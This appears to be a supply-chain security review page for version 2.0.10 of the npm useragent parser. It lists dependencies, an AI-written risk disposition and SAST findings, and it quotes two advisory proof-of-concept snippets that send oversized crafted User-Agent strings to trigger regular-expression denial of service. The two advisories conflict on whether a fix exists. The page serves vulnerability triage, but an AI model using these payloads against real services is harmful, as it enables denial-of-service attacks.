useragent @2.0.10
Fastest, most accurate & effecient user agent string parser, uses Browserscope's research for parsing
Maintainers
Keywords
Dependencies (1)
| Package | Constraint | Registry Status |
|---|---|---|
| lru-cache | 2.2.x | auto_approved |
Dev Dependencies (7)
| Package | Constraint | Registry Status |
|---|---|---|
| mocha | * | auto_approved |
| semver | 1.0.x | auto_approved |
| should | * | auto_approved |
| request | 2.9.x | No greenflagged match |
| pre-commit | 0.0.x | No greenflagged match |
| yamlparser | 0.0.x | auto_approved |
| long-stack-traces | 0.1.x | auto_approved |
Transitive Dependency Tree
Changes from v0.1.2
Dependency Changes
| Change | Package | Version |
|---|---|---|
| added | lru-cache | 2.2.x |
Script Changes
+ qa+ test+ updateLicense Changed
none → noneFile Changes
Risk Dispositions (1 applicable to this version, 0 other)
Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.
| Rule | Source | Disposition | Author | Reason | |
|---|---|---|---|---|---|
osv:GHSA-mgfv-m47x-4wqp |
osv | reject | AI | AI (osv): ReDoS vulnerability (CVSS 7.5) affects all versions <= 2.3.0 with no fix published. Verdict generalizes to all versions in the affected range. |
SAST Findings (3)
[Always reject] CVSS 7.5 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). ## PoC ```js async function exploit() { const useragent = require(\"useragent\"); // Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0'; // Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent); // Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); } await exploit(); ```
Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. ## Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` ## Recommendation Update to version 2.1.13 or later.
Package was published without Sigstore provenance. Consider requesting the maintainer enable provenance via CI/CD.
Review Summary
Risk score: 68. Findings: 1 critical (+40), 1 high (+25), 1 low (+3).
Commit: 80ea9b7bbf85 Browse source
Published to npm: